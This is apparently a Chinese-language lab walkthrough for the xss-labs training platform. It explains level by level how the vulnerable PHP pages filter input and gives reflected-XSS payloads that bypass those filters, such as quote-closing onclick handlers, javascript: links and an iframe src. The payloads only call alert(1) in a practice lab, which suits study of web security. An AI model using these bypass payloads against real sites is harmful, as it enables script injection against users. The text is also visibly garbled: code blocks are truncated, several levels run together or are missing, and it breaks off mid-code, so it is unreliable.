do0dl3/xss-labs: xss 跨站漏洞平台 (github.com)
level 1
观察地址栏得知是GET请求,参数是name,值为test
修改参数值定位位置,发现是在 h2标签内,判断为反射型xss
于是直接在把name参数赋值为:- [/code]从浏览器观察直接弹出来了,查看一下源码,发现有一个str变量,值是name,同时str变量又被放在了h2标签中,且没做任何过滤处置。
- [code]$str = $_GET["name"];
- echo "<h2 align=center>欢迎用户".$str."</h2>";
复制代码
level 2
从地址栏观察URL发现依旧是GET方式来传递参数,不言而喻是反射型XSS
使用第一关的,发现并没有出现弹窗,查看页面源代码,发现在h2标签中,<script>的被HTML实体化了
但 input 标签中的 value 参数没有被 HTML 编码,于是用">分别闭合value属性和input标签,最后用//注释后面的">最后在 less-2.php 中查看,发现标签h2之所以被编码,是因为有htmlspecialchars()函数,换言之在网页上输入的字符会经过htmlspecialchars()函数对其进行 HTML 实体才会展示在页面上。
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
- $str = $_GET["keyword"];
- echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
- <form action=level2.php method=GET>
- <input name=keyword value="'.$str.'">
复制代码
页面源代码
闭合在标签外构造 XSSlevel 3
修改参数值定位具体位置,发现和 level 2 是一样的,在h2和input标签中
顾忌到会有编码之类,使用来测试,然后 Ctrl + U 查看页面源代码。果不其然,与 level 2 不同的是,这关h2和input标签中的str变量皆难逃被编码之命
因为过滤了,这说明不可以用新标签,只能在标签内通过'闭合前面的属性的方式,为后面新增属性来绕过,与此同时想到的是“鼠标事件”- // 用 ' 闭合 value 的值,新增点击事件,在 input 框中去点击一下即可触发
- // 根据源码,闭合需用单引号
- ' onclick ='javascript:alert(1)'//
复制代码- $str = $_GET["keyword"];
- echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
- <form action=level3.php method=GET>
- <input name=keyword value='".htmlspecialchars($str)."'>
复制代码
页面源代码
新增属性构造 XSSlevel 4
修改参数值定位具体位置,依旧是在h2和input标签中,用来测试,查看页面源代码,发现h2标签的参数依旧被 HTML 实体,仍然是字符
但与之前不同的是,input标签中的value属性的值,没有出现字符,所以还是用闭合属性新增鼠标事件的方式来绕过- " onclick ="javascript:alert(1)"//
复制代码 最后在 less-4.php 中查看,出现了str_replace() 函数
- str_replace(">","",$str); --> 在 str 变量中,将字符替换为空
- htmlspecialchars() 函数 --> 把一些预定义的字符转换为 HTML 实体。
- $str = $_GET["keyword"];
- $str2=str_replace(">","",$str);
- $str3=str_replace("<","",$str2);
- echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
- <form action=level4.php method=GET>
- <input name=keyword value="'.$str3.'">
复制代码
- 最后在 less-5.php 中查看,出现了strtolower() 函数
- strtolower() 函数 --> 把字符串转换为小写,赋值给str变量,这样大小写绕过就失效了
- str_replace --> 加入了_破坏完整的字符
- "> <a target="_blank" target="_blank" href=javascript:alert(1)>1</a>//
- // 看到还有一种方式,可直接触发
- "><iframe src=javascript:alert(1)>
复制代码 查看 level6.php,可以看到 str_replace 函数分别破坏了 s[/code]从 level9.php 可以观察到,如果没有http://字符,会输出链接不合法- $str = strtolower($_GET["keyword"]);
- $str2=str_replace("<script","<scr_ipt",$str);
- $str3=str_replace("on","o_n",$str2);
- echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
- <form action=level5.php method=GET>
- <input name=keyword value="'.$str3.'">
复制代码
level 10
从 URL 处输入测试参数,然后 CTRL+U 查看页面源代码发现有三个 input 标签,且 type="hidden",也就是隐藏表单。
把三个 input 标签的类型修改为 text,看在页面的显示情况
[code]// 发现页面出现文本框,t_sort,这证明可对其进行突破text&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"// 出现文本框后可直接注入 XSS 代码" type="text" keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace(" |